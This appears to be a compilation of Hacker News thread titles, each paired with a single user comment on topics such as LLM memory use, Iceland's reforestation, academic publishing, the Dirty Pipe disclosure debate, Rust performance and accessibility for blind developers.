ZLibrary domains have been seized by the United States Postal Inspection Service
Z-Library is still accessible via TOR. You may find and onion-URL in Wikipedia article: https://en.wikipedia.org/wiki/Z-Library
Visual ChatGPT
The "memory usage" section of the README highlights the surprising fact that image generation models need much less memory than text-based language models. ChatGPT itself is by far the most resource-hungry part of the system.Why is that so? It seems counterintuitive. A single picture snapped with a phone takes more space to store than the text of all the books in a typical home library, yet Stable Diffusion runs with 5 GB of RAM while LLAMA needs 130 GB.Can someone illuminate what's going on here?
My fellow geeks, we need to have a talk.
Condescending feedback says more about the speaker than the listener. It is almost invariably about their own insecurity. This is true is almost all fields of endeavor, not just programming.Just a few examples of my own:Insecure bridge player: The queen of spades was a stupid play. What's wrong with you?Excellent bridge player: The queen of spades would have been a great play against a 4/2 split. But since you had a 3/3 split, what do you think would have happened if you had played the ace instead?Insecure public speaker: You look like an idiot playing with your hands like that.Excellent public speaker: You talked about a lot of cool things. I bet I would have been even more interested if I wasn't distracted so much by your hand gestures.Insecure parent: If you can't keep that baby quiet, you should just stay at home!Excellent parent: Here's something that has really worked well for me when my kids cried in public...Insecure programmer: How lame. I can't believe you .Excellent programmer: I see that works. I have found a few ways to make it work even better. Let me know what you think.
Poll: What database does your company use?
SQLite all over the place – it's great having a super portable DB format for quick little hits.There's nothing quite like sending a DB as an email attachment.
The Challenge of Making Friends as an Adult
You don't even need to me approaching middle age. I'm in my 20s and moved halfway across the country recently, and am continually amazed at how hard it is to make good friends of the same gender. Given all the websites/events/groups dedicated to meeting people to date I've found it far easier than ever to get dates, but more difficult to make friends. It's a weird reversal. There's probably an opportunity for a little business there, but I haven't quite worked out how it would work.
My Roommate's a Genius
That is far more impressive than my one attempt at modifying my bed, which no one would attach the word "genius" to...the most likely word I would have earned was "special".I was living in a small rectangular room at Caltech, with the door on one of the short sides and a window and radiator on the other short side. My bed was a rectangular framework that the mattress sat on top of. The long sides of the bed were parallel to the long sides of the room, said orientation being forced by the narrowness of the room.The pillow side of the bed was toward the window and radiator. I decided I'd rather sleep with my feet on that side and my head on the other side.One afternoon, I set about reorienting the bed to accomplish this. Because of the narrowness of the room, both horizontally and vertically, it was quite a challenge to flip the bed around, but after quite a struggle I accomplished it. While I was doing this, a small crowd had gathered to watch (but not help...the bastards).After I finished, the spectators pointed out that the bed frame and mattress were symmetrical, and the sleeping orientation was determined entirely by what side you tucked the sheets under and where you put the pillow. Flipping the sleeping orientation would have taken a normal person 10 seconds.Doh!
Man saves wife’s sight by 3D printing her brain tumor
> Balzer used Photoshop to layer the new DICOM files on top of the old images, and realized that the tumor hadn’t grown at all — the radiologist had just measured from a different point on the image.Think about the some of the implications of that statement for a while.It really is no wonder that the softer sciences have a reproducibility problem.
Why privacy is important, and having “nothing to hide” is irrelevant
"This affects all of us. We must care." is not an effective way of convincing someone.I personally do not care about privacy. I see no reason why I should.It's just my opinion. I know other people do but please don't generalize.
Iceland's attempts to replant its forests
For reasons I won't go into the farming lobby is really strong in Iceland.Sheep run free-range around the entire island, if you'd like to grow something that sheep like to eat you need to fence it in. It's not like pretty much anywhere else in the western world where people who own grazing animals need to fence them in.Thus the sheep range far and wide and destroy Iceland's native low-lying forests. Iceland's native crooked birch hasn't developed resistance to grazing animals as mainland trees had to do, the sheep love to nibble at them and eat the seedlings.The native trees and other native vegetation are generally much hardier than the foreign plants. But since the forestry service has lost the battle with the farming lobby they're desperately trying to introduce some trees that the sheep won't eat.Reforesting the country is largely being done through subsidies to farmers, who aren't concerned with topsoil preservation beyond maintaining the desolate landscape they inherited, but they are interested in the eventual promise of a commercial forest on their land.Which is something to keep in mind when reading articles like these and wondering "why don't they...", usually the answer is that they're planting in a field that's going to be full of grazing animals, and there's no way the forestry service is going to win that battle anytime soon, or that they're not really aiming to restore the topsoil per-se, but to do that as a side-effect of commercial logging.This page has some more details: http://www.skogur.is/english/forestry-in-a-treeless-land/
Security alerts on GitHub
Appears to be only for Ruby gems and Node.js packages. It's a start, though I was hoping to be able to indicate C++ library dependencies.The lack of Python requirements.txt support is a bit odd, since it's conceptually quite similar to the two supported mechanisms.
Krita 4.0 – A painting app for cartoonists, illustrators, and concept artists
While it looks very powerful, does anyone know if the miserable light gray on medium gray UI can be changed? I despise this modern trend (Pixelmator drives me nuts too) as I have difficulty reading text with such low contrast. This is terribly unfriendly to people with vision difficulties.
Tim Cook makes blistering attack on the “data industrial complex”
I'd like to think I'm one of the good guys here. I was one of the inventors of RSS and Atom and worked to push open content and social media.I started a social data search platform named Datastreamer (http://www.datastreamer.io/) which is basically a petabyte-scale content indexing engine.We provide API feeds to search engines and social media analytics companies needing bulk data but don't want to have to build a crawler.For the last 5 years we've had major problems with customers coming to us asking for data which we felt was unethical (at best).We actually had Saudi Arabia approach us... It was clear that they were intending to something pretty evil with the data.Their RFP questions were a bit frightening:- can you track people by religion?- can you give us their email address?- can you provide their address?- can your provide their ethnicity?- can you provide their social connections?We're actually losing business to other companies that are performing highly unethical and probably illegal techniques.We just can't compete with data at that type of fidelity.If you're a researcher and you want to access bulk data for combating this type of non-sense WE WILL PROVIDE DATA AT COST. We can provide up to 1PB of data but for now we have to charge for the shipping and handling of that data. We're reaching out to some other companies like Google and also the Internet Archive to see if we can provide more cost effective solutions.I'm working on more tools to give the power back to the users.Polar (https://getpolarized.io/) is a web browser which allows people to control their own data. The idea is that I can keep a local repository of data and eventually build our own cloud platform based on open systems like IPFS and encrypt the data using group encryption.
Time to break academic publishing's stranglehold on research
Academic publishing is a favorite recurring topic on HN, and it's one I've occasionally dipped into discussing, although these discussions are typically 99% one-sided and void of nuance or reasoned arguments. It's like discussing politics online.I'm a shareholder and board member of a large privately-held, family-owned academic publishing company. If anyone is interested in trying to understand what makes the industry work, why it's so hard to disrupt it, etc. I'd love to engage or put you in touch with people within the industry smarter than me - my email is in my profile.I know the industry is particularly frustrating to the HN crowd. We want to think it's a technology problem - that distributing PDFs is a solved problem (which it obviously is). But the root of the problems (of which there are many) are all cultural and much harder to change. If you're going to jump in and try to "fix" the industry or put publishers out of business, I highly encourage you to engage with folks in the industry with an open mind and really try to understand why things work the way they work. You're not going to have any success unless you truly understand the incentive structure of academia and the social and cultural aspects of inertia that are at play. If you go in thinking you can build a better "publishing" mousetrap you will fail. You have to realize publishers are in the reputation business. And when you start peeling back the onion of how academics are assessed, given jobs, given tenure, etc you start seeing how hard changing behavior can be.
New Horizons’ first hi-res imagery of Ultima Thule
I find it truly amazing that New Horizons was able to take photos of a 20 mile object whilst flying past at ~8 miles/sec - that’s an incredibly small space and time window within which to capture the images. Does anyone know how NASA manages to pilot spacecraft with this level of precision? What kind of engineering processes do you need to enable this?
Music Theory for Musicians and Normal People
Here's my layman explanation:Pick a frequency. Let's say you picked 400 hertz. If you multiply this frequency by a simple fraction (1/2, 1/3, 2/5, etc) you get a new frequency that harmonizes with your original frequency. That means they sound nice when played together. The simpler the fraction, the better the two frequencies will sound (1/2 sounds nicer than 7/13, for example).If you pick several of these fractions between 1 and 2 (such as 3/2, 4/3, 5/4, 2/1, etc) you create what's called a scale. All the frequencies in the scale harmonize with the starting frequency, but they don't necessarily harmonize with each other.Musicians don't always want to play with the same starting frequency so they invented "equal temperament". The idea behind equal temperament is to create a scale using logarithms/exponents instead of fractions. Because it's logarithmic, any frequency in the scale can be used as a starting point and you'll get the same result.
Epstein's injuries look more like murder than suicide, noted pathologist says
I'm fascinated by the idea that someone could have killed and successfully covered up a murder this high profile.How do you handle the guards? How do you keep the other inmates quiet? Can you get away with bribing a single guard or is a larger operation needed? If you bribe people, how do you get the money to them? How do you keep them quiet when the inevitable investigation happens?I don't think it's impossible, but if this was a murder then it's fascinating that someone could be this good at assassination.
Spot the Drowning Child (2015)
One of the important lessons I learnt from a lifeguard is that movies depict a very inaccurate representation of drowning. The movies would have you believe that drowning is a violent and noisy event when in reality it is an inconspicuous and silent event. The victim cannot shout or call for help when they are struggling to keep their nose above the water level.Another important lesson I learnt that sometimes when someone is rescued from drowning, they are at the risk of secondary drowning which can occur during sleep after the accident. Especially, if a child looks very weak and tired after a drowning accident, it is important to keep the child under medical care for the next 24 hours. Never take the risk of the taking the child back home in such a case.
Does Facebook pay Apple 30% of revenue derived from ads made within its iOS app?
Apple's 30% only applies to digital content that further enriches the core app experience. That's my understanding. For instance, Apple does not take 30% of all Amazon purchases through the Amazon iOS app either. Nor do they skim 30% from any retail app.However, if your app happens to be a game (a "free" game, for instance) and your in-app purchases enhance that game in some way (e.g. unlocking features) then Apple gets a cut of that.
Functorio
I wonder how difficult it would be to implement a language for specifying Factorio factories without worrying about physical layouts. This post provides a lot of good insights into how that could be done. Once a factory is specified, a compiler could turn the high-level specification into a blueprint or a valid save file to be loaded up in the game.Of course, the compiler would have no way to lay out the factory with respect to available resource deposits. Maybe that would have to be part of the specification as well? Or maybe the programmer (player?) could pass an empty map file as a compiler argument.Also, this doesn't give any consideration to the tech tree or enemies within the game. I guess those could be compiler flags, as long as we're dreaming.Look, all I'm saying is that it would be really cool to be able to check factories into version control.
The Dirty Pipe Vulnerability
Another example of a vulnerability that is purposefully obfuscated in the commit log. It is an insane practice that needs to die. The Linux kernel maintainers have been doing this for decades and it's now a standard practice for upstream.This gives attackers an advantage (they are incentivized to read commits and can easily see the vuln) and defenders a huge disadvantage. Now I have to rush to patch whereas attackers have had this entire time to build their POCs and exploit systems.End this ridiculous practice.
You are not running out of time
Beg to differ. I'd say that if you're not feeling pressed, that you have too little time left, then you don't have anywhere near an adequate view of the plausible future. A golden age lies ahead, of glittering marvels to make all that has come so far pale to insignificance. But unless we step up to the plate and master biotechnology a lot faster and better than is presently managed, all of us reading this now will miss both that future and lives of health and transcendence lasting centuries in which to enjoy it.As I put it here:http://hplusmagazine.com/2011/07/13/longevity-science-needs-..."We all express the symptoms of a fatal, inherited degenerative condition called aging - or so the joke goes. It's a dark joke, but there's truth to be found in it, as is often the case in black humor. Unfortunately, all too few people think of themselves as patients suffering aging, and fewer still would call themselves patient advocates, agitating for research leading towards therapies and cures for aging. This is a sorry state of affairs: given that our time is limited and ticking away, the tasks upon the table should always include some consideration of aging. What can we do about it? How can we engineer a research community, funding and support to make real progress within our lifetimes? If you don't spend at least some of your time on this issue, then you're fiddling while Rome burns. Time is the most precious thing we have, and we live on the cusp of technologies that will allow us to gain more of it - but those advances in medicine won't happen soon enough unless we work at it."
Youth expelled from Montreal college after finding security flaw
Unauthorized security testing == Malicious attackThe actions of Mr. Al-Khabaz were unlawful and unethical. If he only accidentally found the flaw and reported it to the responsible person, things would be fine. But security testing without the permission of the system owner is the same as unauthorized access attempt!I work as a security professional for 7 years, and I recently did a guest lecture on the college discussing the example like this. Most students were not aware where the problem is. Maybe it would help imagining how would story like this look in the physical world: Let's suppose you come back home and find someone picking on your door lock with a lock picking tool. You ask him "what are you doing?" and he says "I'm just checking is your lock safe. I do it for your security." Would you believe him? Or would you call the police immediately, without asking him anything? Let's add to this that security testing tools can sometimes degrade the tested system's performance or sometimes even crash it. In this case, it's not just unauthorized access attempt, but successful denial-of-service attack!Never, ever, do a security testing of the system without the written permission of the system owner. If you get the permission, you will probably be asked to sign an NDA in return. You will also need to provide some information, like source IP address you're using and emergency contacts that can be used to stop the testing in case of problems (like crashes, etc.). This is the only lawful and ethical way to do these kind of procedures on someone else's system.I'm not discussing if the penalty is OK in this case. It really doesn't matter if most people here cannot tell what he did wrong in the first place.
Massive, Illicit Bust of Edward Snowden Stuck to a War Monument in Brooklyn
Seeing them cover this thing up is a hideous moment in our history: https://vine.co/v/eBBvedaHtBz.Shameful that something so harmless is immediately covered up (quite literally) because it challenges the state.The U.S. is getting scarier by the day, folks.
Timeline of the far future
> The length of the day used for astronomical timekeeping reaches about 86,401 SI seconds. Under the present-day timekeeping system, either a leap second would need to be added to the clock every single day, or else by then, in order to compensate, the length of the day would have had to have been officially lengthened by one SI second.Can you just imagine the amount of legacy code with DAY_SECONDS=86400 out there 50k years from now?
Don’t Do This in Production
Can someone give an example of a blog post that gives example code yet warns "not to do it in production"? I've programmed and read about programming for decades and can't recall ever seeing anything like this.It's hard for me to take this article seriously without even a single example -- I can't tell if this is a strawman or not.Is it about code that isn't thread-safe? That relies on undefined behavior? That doesn't scale? That has race conditions?"In dev" and "in prod" can mean so many different things (is it about scale? or running on different OS's? or running unattended? or running on different hardware? or running compiled?), out of any particular context they're essentially meaningless, and in case particular case, it would seem to be the particulars that matter...
French ISPs Ordered to Block Sci-Hub and LibGen
Why do the French have such a hard-on for copyright enforcement? (Honest question)
How Discount Brokerages Make Money
I really like this article, although I don't fully understand most of the parts, mainly because I don't know much about brokerage and investment. But, I am joining the workforce soon, and it behooves me to have some grasp on these topics. Any non-Michael Lewis type book(s) you fine people would want to recommend?
Show HN: RoughNotation – create and animate hand-drawn annotations on a web page
Love this (and all of Preet’s work).Made a statistics visual awhile back using roughjs[0], seems like the perfect setting with which to add roughnotation :)[0] https://www.jwilber.me/permutationtest/
Cloudflare TV
I'm a generally technical person and I'm simply flat out uninterested in video content - the stuff that will be on this sounds broadly interesting to me but I'd rather read it in article format.I understand video "performs" well in a lot of contexts (and thus is of particular interest to marketing people) but I am always surprised when content targeted broadly towards the technical community is done in a video-first manner. I know a few other people that feel the same, but I can only assume that Cloudflare have done some research on this and figured out that we're in the minority, and there is enough of a technical audience that would prefer to watch this kind of stuff than read it.I know it's a lot of effort (although maybe automated transcription tools have simplified this?) but it would be awesome if text transcripts were made available of some of this content for the weirdos like me out there :)
CAPTCHAs don’t prove you’re human – they prove you’re American (2017)
Anyone with a half functioning brain can figure out which ones are the taxis. Taxis are not yellow in my country and I would have no issue picking those out. They have the very distinctive sign on the roof that no normal car has.Not even OP was confused by this, they are just complaining on the behalf of some theoretical person who might get confused.
Rust is now overall faster than C in benchmarks
Apart from those benchmark games a lot of real world C is a lot less performant than people think it might be. I spent a fair amount of time reviewing C code in the last 5 years - and things that pop up in nearly every review are costly string operations. Linear counts due to the use of null terminated strings and extra allocations for substrings to attach null terminators, or just deep copies because ownership can’t be determined are far more common than exceptional. This happens because null terminated strings feel like idiomatic C to most people.Rust avoids those from the start by making slices idiomatic.Another thing I commonly see is the usage of suboptimal containers (like arrays with linear search) - just because it’s there’s no better alternative at hand (standard library doesn’t offer ones and dependency management is messy). Which also makes it less surprising that code in higher level languages might perform better.
Animated Engines
How do you drive the fuel into the highly compressed chamber, in case of the Diesel engine?
How Discord Stores Billions of Messages (2017)
Discord had like $300M invested and they created unparalleled piece of software that ate whole market, damn.One of the most impressive softwares that I've seen and use after years of using ventrilo/mumble/teamspeak.
Ask HN: Firefox connection problems after enabling DoH?
What worked for me was disabling HTTP3 support with the 'network.http.http3.enabled' key in about:config and then restarting Firefox. Seems like it's stuck in the 'SocketThread', repeatedly doing this: 2022-01-13 08:20:53.075936 UTC - [Parent 4106991: Socket Thread]: V/nsHttp Http3Stream::OnReadSegment count=333 state=4 [this=7f6e295623a0]
Ask HN: How to prepare as soon-to-be blind developer?
Blind person here, happy to answer any questions. I'm speaking from the perspective of someone born blind, so whatever ends up working well for me might not work as well for someone just losing their sight, though I tried to take that fact into account.The most immediate suggestions that come to mind are:1. Learn to use a screen reader. You don't need an expensive one. NVDA on Windows, Voice Over on the Mac and Orca on Linux are the way to go. NVDA is probably the least quirky and easiest to find resources for. I'd recommend against Orca, while it can be used, we all know how tricky Linux on the desktop can get, and throwing a screen reader into the mix doesn't help.2. Forget about the mouse. Screen reader users use the keyboard exclusively. Try disabling the screen too, many sighted users who practice with a screen reader end up relying on what they can see, which makes things more difficult.3. Accept that inaccessibility is a fact of life, and it has to be worked around. Not all tools are accessible, and some are more accessible than others. If you're looking for an accessible IDE, Vs Code is great and constantly improving. Emacspeak exists, but I don't actually know anyone who uses it, and I know quite a few blind people in tech. Some things that you're now doing through a GUI are best done via the command line, Git is a good example. Programming tools usually aren't the problem, it's everything else that causes issues. Slack and Zoom work great, for example, but many smaller collaboration tools don't.4. Not all areas of programming are equally accessible. I can't imagine a blind dev working exclusively on the front end, where there's a lot of CSS involved, and where you have to look at Figma designs and debug issues solely based on screenshots. Backend stuff is much more accessible, same with lower-level systems programming. Dev Ops is very much a mixed bag.I'm happy to answer any further questions either here or via email, my HN username at gmail dot com.
I think US college education is nearer to collapsing than it appears
Higher education in the US is trying to fulfill so many roles it's unsustainable. - teaching marketable skills so people can get jobs - teaching "how to think" and learning about art and culture - Performing cutting edge research - minor league sports teams The large state schools are trying to fulfill all these conflicting roles. We should probably break them out to separate entities.If you have a physicist who's at the leading edge of research in their field, you want them doing that research, not teaching 18 year old's Newton's laws of motion. And they're mostly not doing that teaching, that gets farmed out to an adjunct paid starvation wages. So the kid who's paying through the nose to attend a top university with the best researchers doesn't get to interact with them much and gets an inferior education compared to one where they hired and properly compensated someone to actually focus on teaching.If we want to train people for specific jobs - create institutions that do that. If the upper class want someplace to send their kids to read poetry and binge drink for 4 years before they get a jr. associate position at their Dad's investment bank, create a separate institution for that. Major league sports should create and manage their own feeder leagues to develop players, no reason to cram that into a university. We should create dedicated research institutions so researchers don't have to pretend to care about teaching.
Coinbase warns that bankruptcy could wipe out user funds
Since coinbase isn’t FDIC insured, it makes sense that if coinbase goes bankrupt, the customer currencies will go away as well. And they aren’t SPIC insured in the situations where crypto is a security.It’s funny to see people shocked (SHOCKED!) when crypto doesn’t have the protections of regular banking and investments. That’s why you don’t invest with stuff that isn’t insured. Those aren’t real rates, they are risk adjusted rates for not having insurance.It’s fine to invest in these products, but scary because people aren’t doing due diligence and have unrealistic expectations.The CEO’s statement that they won’t go bankrupt it just comical. Of course he thinks they won’t. Few bank CEOs think that. But real banks and brokerages have insurance for their customers in the rare situation that they go bankrupt.
Almost all searches on my independent search engine are now from SEO spam bots
You mention the "Dead Internet Theory" (not heard that phrase before!).I agree: the WWW Internet is dead, that is your problem. No-one visits websites anymore, everyone has moved to the 10 biggest websites and all data is now siloed there.If I want to search for something topical and relevant, I go to Facebook, Twitter, Reddit, HackerNews, Instagram, Google Maps, Discord etc.The general Internet is dead: it's just legacy content and spam.If you think it's bad for you, imagine what it is like for Google Search! Their entire business is indexing a medium which no longer has any relevancy. People complain that Google no longer delivers good results. But what can Google do? The "good content" is no longer available for them to index.Want to become rich? Make a search engine which indexes the fresh relevant data from the big siloed websites, and ignores the general dead Internet.
Why is it so hard to give Google money?
I have background here and can take a pretty good guess at what happened. You used a Brex card, which Google sees as a “privacy card.” These are often used by scammers trying to circumvent Google blocking their credit card account numbers.The solution here is to never use a hidden or “privacy” card number with Google, although of course Google will never tell you that or confirm or deny this. I only know this due to working with clients in this area.You can try removing that card and adding a regular hard card number and asking for a reinstatement again, but it may be too late for this account.Hopefully this helps folks reading this to not make the same mistake (although it’s incredibly frustrating that stuff like this has to be learned by trial and error or knowledge from those of us who have dealt with this previously.)
Maps.earth – free and open-source web maps
Hey, this looks great, thanks for working on it! I'm the creator of Mapzy[0], an open-source and self-hostable store finder. We're trying to focus on privacy as much as possible, but currently use Mapbox since it's better than Google Maps and we didn't find any other alternatives.Do you think Headway could be a replacement for us? We currently use the Mapbox JS library to create the pins etc. - could we use Headway with Leaflet JS for example? We also use the Mapbox geocoder, mainly for reverse geocoding of addresses. How does Headway's geocoder compare?0: https://github.com/mapzy/mapzy/
React I love you, but you're bringing me down
I must be the only person in the world who likes class components in React.Sure, it's often overkill and a functional component does the same thing with less code. Use a functional component in these cases. But if you're doing something more complicated then stop treating class components like the fucking devil. They have their place.